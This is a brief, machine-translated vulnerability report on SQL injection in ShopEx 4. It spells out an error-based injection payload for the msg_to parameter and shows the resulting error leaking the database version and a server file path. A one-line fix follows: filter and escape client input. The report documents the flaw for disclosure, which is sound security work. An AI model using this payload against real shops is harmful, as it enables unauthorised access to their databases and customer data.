SHOPEX & gt; 4 SQL injection vulnerability and repair solution

Source: Internet
Author: User

The client's controllable parameters are not verified for security, resulting in the SQL injection vulnerability. Details: specify the value of msg_to as ggbond 'or 1 = (select 1 from (select count (*), concat (floor (rand (0) * 2 ), (select @ version) a from information_schema.tables group by a) B) # The database version information of www.2cto.com is displayed. Warning: SELECT member_id FROM sdb_members WHERE uname = 'ggbond 'or 1 = (select 1 from (select count (*), concat (floor (rand (0) * 2 ), (select @ version) a from information_schema.tables group by a) B) # 'limit 0, 1: Duplicate entry '15. 1.38-log 'for key' group _ key' in/data/htdocs/www/core/include_v5/AloneDB. php on line 58 cannot find the user you entered!

Solution: filter, verify, and escape variables from the client. You are better at it than I do;

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.